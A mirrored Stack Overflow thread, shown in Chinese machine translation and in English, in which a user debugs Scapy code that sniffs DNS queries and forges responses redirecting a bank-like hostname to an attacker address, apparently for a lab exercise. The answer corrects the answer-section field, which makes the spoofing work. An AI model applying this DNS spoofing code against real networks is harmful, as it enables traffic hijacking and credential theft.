为什么python dns.resolver不再停止Scapy'sniff?

发布于 2025-01-26 20:34:58 字数 3208 浏览 4 评论 0原文

请注意,所提供的答案不能解决我的问题。

在Python中:

resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')

我正在使用Python的Scapy sniff何时有DNS查询到127.0.0.2要伪造响应,以便webles_name将获得等于:127.0.0.3的IP。我的代码是:

def sniff_and_spoof(source_ip):
    # TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
    # This socket will be used to accept connections from victimized clients.
    packet_filter = " and ".join([
        "udp dst port 53",  # Filter UDP port 53
        "udp[10] & 0x80 = 0",  # DNS queries only
        "dst host 127.0.0.2"
    ])
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
        client_socket.bind((source_ip, WEB_PORT))
        client_socket.listen()
        cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
        sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)

和:

def dns_callback(packet, extra_args):
    # TODO: Write callback function for handling DNS packets.
    # Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
    eth = Ether(
        src=packet[Ether].dst, dst=packet[Ether].src
    )

    ip = IP(
        src=packet[IP].dst, dst=packet[IP].src
    )

    udp = UDP(
        dport=packet[UDP].sport, sport=packet[UDP].dport
    )

    dns = DNS(
        id=packet[DNS].id, qd=packet[DNS].qd,
        aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
        ar=DNSRR(
            rrname=packet[DNS].qd.qname,
            type='A',
            ttl=600,
            rdata='127.0.0.3')
    )

    response_packet = eth / ip / udp / dns
    sendp(response_packet, iface=net_interface)

即使我可以在Wireshark中看到一个很好的响应,该查询正在一遍又一遍地发送,并且bye似乎从未打印过。这是为什么?

WireShark输出:(第4行中的请求及其在第5行中的响应)

图像描述


在此处输入 运行代码会产生以下错误:

result = resolver.query("LetumiBank.com")
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
    timeout = self._compute_timeout(start, lifetime)
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
    raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds

更新:

也尝试了同样的问题:

eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)

ip = IP(src=packet[IP].dst, dst=packet[IP].src)

udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)

dns = DNS(
    id=packet[DNS].id,
    aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
    qd=DNSQR(  # Query
        qname=packet[DNSQR].qname
    ),
    an=DNSRR(  # Answer
        rrname=packet[DNS].qd.qname,
        type='A',
        rclass=1,
        ttl=600,
        rdata='127.0.0.3'
    )
)

Please Note, the provided answer doesn't solve the problem for me.

In python I have:

resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')

I'm using python's scapy sniff function to detect whenever there is a DNS query to 127.0.0.2 to fake a response such that WEBSITE_NAME will get an ip equal to: 127.0.0.3. My code was:

def sniff_and_spoof(source_ip):
    # TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
    # This socket will be used to accept connections from victimized clients.
    packet_filter = " and ".join([
        "udp dst port 53",  # Filter UDP port 53
        "udp[10] & 0x80 = 0",  # DNS queries only
        "dst host 127.0.0.2"
    ])
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
        client_socket.bind((source_ip, WEB_PORT))
        client_socket.listen()
        cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
        sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)

and:

def dns_callback(packet, extra_args):
    # TODO: Write callback function for handling DNS packets.
    # Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
    eth = Ether(
        src=packet[Ether].dst, dst=packet[Ether].src
    )

    ip = IP(
        src=packet[IP].dst, dst=packet[IP].src
    )

    udp = UDP(
        dport=packet[UDP].sport, sport=packet[UDP].dport
    )

    dns = DNS(
        id=packet[DNS].id, qd=packet[DNS].qd,
        aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
        ar=DNSRR(
            rrname=packet[DNS].qd.qname,
            type='A',
            ttl=600,
            rdata='127.0.0.3')
    )

    response_packet = eth / ip / udp / dns
    sendp(response_packet, iface=net_interface)

Even though I can see a good response in wireshark the query is being send over and over again and Bye doesn't seem to get ever printed. Why is that?

Wireshark output: (request in line 4 and its response in line 5)

enter image description here


Keeping the code running gives the following error:

result = resolver.query("LetumiBank.com")
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
    timeout = self._compute_timeout(start, lifetime)
  File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
    raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds

UPDATE:

Tried this too, same problem:

eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)

ip = IP(src=packet[IP].dst, dst=packet[IP].src)

udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)

dns = DNS(
    id=packet[DNS].id,
    aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
    qd=DNSQR(  # Query
        qname=packet[DNSQR].qname
    ),
    an=DNSRR(  # Answer
        rrname=packet[DNS].qd.qname,
        type='A',
        rclass=1,
        ttl=600,
        rdata='127.0.0.3'
    )
)

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。

评论(1

三生殊途 2025-02-02 20:34:58

ar = dnsrr()在您调用dns()的电话中是错误的。

您的答案应在元素中。不幸的是,这种使用如此令人困惑的小名字。
您可能还需要一个列表,因为除了问题之外,各节都存储了多个记录,而不仅仅是一个记录。

因此,尝试an = dnsrr(...)an = [dnsrr(...)]在您的dns()呼叫中。

DNS数据包最多可以包含4个部分:

  • 一个问题,称为QD在Scapy中
  • 称为AN
  • 一个机构,称为ns
  • 附加部分,称为ar

您的ancount/arcount是正确的,所以也许只是错字?

通过没有真正发送答复(即使您使用DNS数据包回复,也是数据包的“答案”部分是空的”)客户端没有得到查询的答案,因此其正常行为是尝试尝试希望得到一个答案

。 。

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DNS 


                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      ID                       |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    QDCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ANCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    NSCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ARCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

​为什么答案= an,pertional = ns和额外= AR(我必须了解如何选择最后两个两个字母)

。关于问题是什么的说明,我看不到您遇到的问题(SCAPY 2.4.5):

>>> r=DNSRR(rrname='example.com', type='A', ttl=600, rdata='127.0.0.3')
>>> print(r)
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'\x07example\x03com\x00\x00\x01\x00\x01\x00\x00\x02X\x00\x04\x7f\x00\x00\x03'
>>> r
<DNSRR  rrname='example.com' type=A ttl=600 rdata=127.0.0.3 |>
>>> r.ttl
600

ar=DNSRR() is wrong in your call to DNS().

Your answer should be in the an element. It is unfortunate Scapy uses such small names that are confusing.
You may also need a list because the sections, except the question, are storing multiple records, not just one.

So try an=DNSRR(...) or an=[DNSRR(...)] in your DNS() call.

A DNS packet can have up to 4 sections:

  • a question, called qd in Scapy
  • an answer, called an,
  • an authority, called ns
  • an additional part, called ar

Your ancount/arcount are right though, so maybe just a typo?

By not sending really a reply (that is the "answer" part of the packet is empty, even if you do reply with a DNS packet") the client does not get an answer for its query and hence its normal behavior is to try to get back hopefully an answer.

Scapy documentation at https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html shows this "RFC" like schema:

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LENGTH            |               ID              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE |            QDCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ANCOUNT            |            NSCOUNT            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            ARCOUNT            |               QD              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AN              |               NS              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               AR              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. DNS 

Where the RFC 1035 has:


                                    1  1  1  1  1  1
      0  1  2  3  4  5  6  7  8  9  0  1  2  3  4  5
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                      ID                       |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |QR|   Opcode  |AA|TC|RD|RA|   Z    |   RCODE   |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    QDCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ANCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    NSCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
    |                    ARCOUNT                    |
    +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+

for the header and

    +---------------------+
    |        Header       |
    +---------------------+
    |       Question      | the question for the name server
    +---------------------+
    |        Answer       | RRs answering the question
    +---------------------+
    |      Authority      | RRs pointing toward an authority
    +---------------------+
    |      Additional     | RRs holding additional information
    +---------------------+

for the whole packet.

So that explains at least why Answer=AN, Authority=NS and Additional=AR (I have to idea how the last two 2 letters monikers were chosen).

PS: regarding your comment about ttl that "doesn't work" without explanations on what the problem is, I don't see the problem you have (with Scapy 2.4.5):

>>> r=DNSRR(rrname='example.com', type='A', ttl=600, rdata='127.0.0.3')
>>> print(r)
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'\x07example\x03com\x00\x00\x01\x00\x01\x00\x00\x02X\x00\x04\x7f\x00\x00\x03'
>>> r
<DNSRR  rrname='example.com' type=A ttl=600 rdata=127.0.0.3 |>
>>> r.ttl
600

~没有更多了~
我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
原文